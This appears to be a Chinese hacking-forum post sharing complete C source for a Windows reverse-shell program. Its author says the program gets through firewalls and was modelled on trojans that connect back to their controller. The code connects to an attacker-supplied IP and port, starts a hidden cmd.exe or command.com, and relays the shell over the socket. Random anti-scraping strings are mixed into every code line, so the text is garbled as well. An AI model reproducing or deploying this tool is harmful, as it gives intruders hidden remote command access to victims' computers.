社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5826阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HQ-N!pf9  
&;uGIk>s  
/* ============================== [4V|UvKz  
Rebound port in Windows NT bi4^ zaCEE  
By wind,2006/7 )[^:]}%r  
===============================*/ g%<{G/Tz  
#include 3RTB~K8:{  
#include Gc3PN  
P~b%;*m}8  
#pragma comment(lib,"wsock32.lib") vl#V-UW$4P  
DbPBgD>Q  
void OutputShell(); r&j+;JM5  
SOCKET sClient; iG;d0>Sp  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l:kE^=6  
J\Oc]gi\L  
void main(int argc,char **argv) 0*]<RM  
{ <9MQ  
WSADATA stWsaData; n]6w)wE (  
int nRet; gvwCoCbb  
SOCKADDR_IN stSaiClient,stSaiServer; f6/\JVi)-  
s525`Q;  
if(argc != 3) Ed ?Yk* 4  
{ |?pYJkrYO  
printf("Useage:\n\rRebound DestIP DestPort\n"); <7RkM  
return; \a~;8):q=i  
} XH_qA[=c]  
lN]X2 4t  
WSAStartup(MAKEWORD(2,2),&stWsaData); +wPvQKVfI  
+@<^i?ale  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SbQ{ >  
ni02N3R  
stSaiClient.sin_family = AF_INET; OM.(g%2  
stSaiClient.sin_port = htons(0); ,rvZW}=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MZhJ,km)  
Z)Xq!]~/g  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) pqNoL* H  
{ 2-B8>-   
printf("Bind Socket Failed!\n"); 37<GG)  
return; 4=#QN  
} E!(`275s  
'E4(!H,k  
stSaiServer.sin_family = AF_INET; \ [hrG?A  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #f jX|b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F0o18k_"  
Ov{B-zCA  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (HP={MrV  
{ "p_[A  
printf("Connect Error!"); p_kTLNZd9  
return; 9BgQ oK@  
} r:S5x.P2  
OutputShell(); k+>p!1  
} r0XGGLFuZl  
>=RHE@  
void OutputShell() :[$i~V  
{ *TMM:w|1  
char szBuff[1024]; @tU>~y{E  
SECURITY_ATTRIBUTES stSecurityAttributes; [$Xu  
OSVERSIONINFO stOsversionInfo; T=)L5Vuq<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %@,:RA\pm  
STARTUPINFO stStartupInfo; >+W?!9[p:2  
char *szShell; q=i,'.nS  
PROCESS_INFORMATION stProcessInformation; 4 9+}OIX  
unsigned long lBytesRead; c+ H)1Dfq  
s t3]Yy  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M3xi 0/.  
)-6[ Bw  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8i+jFSZ$  
stSecurityAttributes.lpSecurityDescriptor = 0; C^ k3*N  
stSecurityAttributes.bInheritHandle = TRUE; e1Z;\U$&.  
ZB h@%A  
'XjHB!!hU  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l>Oe ,`9O  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PeR<FSF ,i  
MJk:s[o  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^<H#dkECG  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <MDFf nj  
stStartupInfo.wShowWindow = SW_HIDE; m$e@<~To  
stStartupInfo.hStdInput = hReadPipe; [E&"9%K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8C4@V[sm`  
B\~3p4S  
GetVersionEx(&stOsversionInfo); =?QQb>  
"nS{ ;:  
switch(stOsversionInfo.dwPlatformId) Uu<sntyv  
{ Pp")hFx  
case 1: #p^pvdvh3  
szShell = "command.com"; U*#E aL  
break; A 5\"e^>  
default: '"NdT7*+  
szShell = "cmd.exe"; JZ*?1S>  
break; ~s^6Q#Z9|  
} fTnyCaB  
1 </t #r  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /-} p7AM  
/:];2P6#X  
send(sClient,szMsg,77,0); Ymh2qGcj]8  
while(1) )fcpE,g'  
{ [;\< 2=H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r4qV}-E  
if(lBytesRead) ^*T{-U'  
{ B=qRZA!DQ?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D_`)T;<Sp  
send(sClient,szBuff,lBytesRead,0); w+ )GM  
} {hp@j#  
else S+=@d\S}"  
{ D"><S<C\C  
lBytesRead=recv(sClient,szBuff,1024,0); &rE l  
if(lBytesRead<=0) break; X\:(8C;+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3R96;d;  
} dXSb%ho  
} 2T?1X{g  
Vam8NnZ|r  
return; qQ\hUii  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八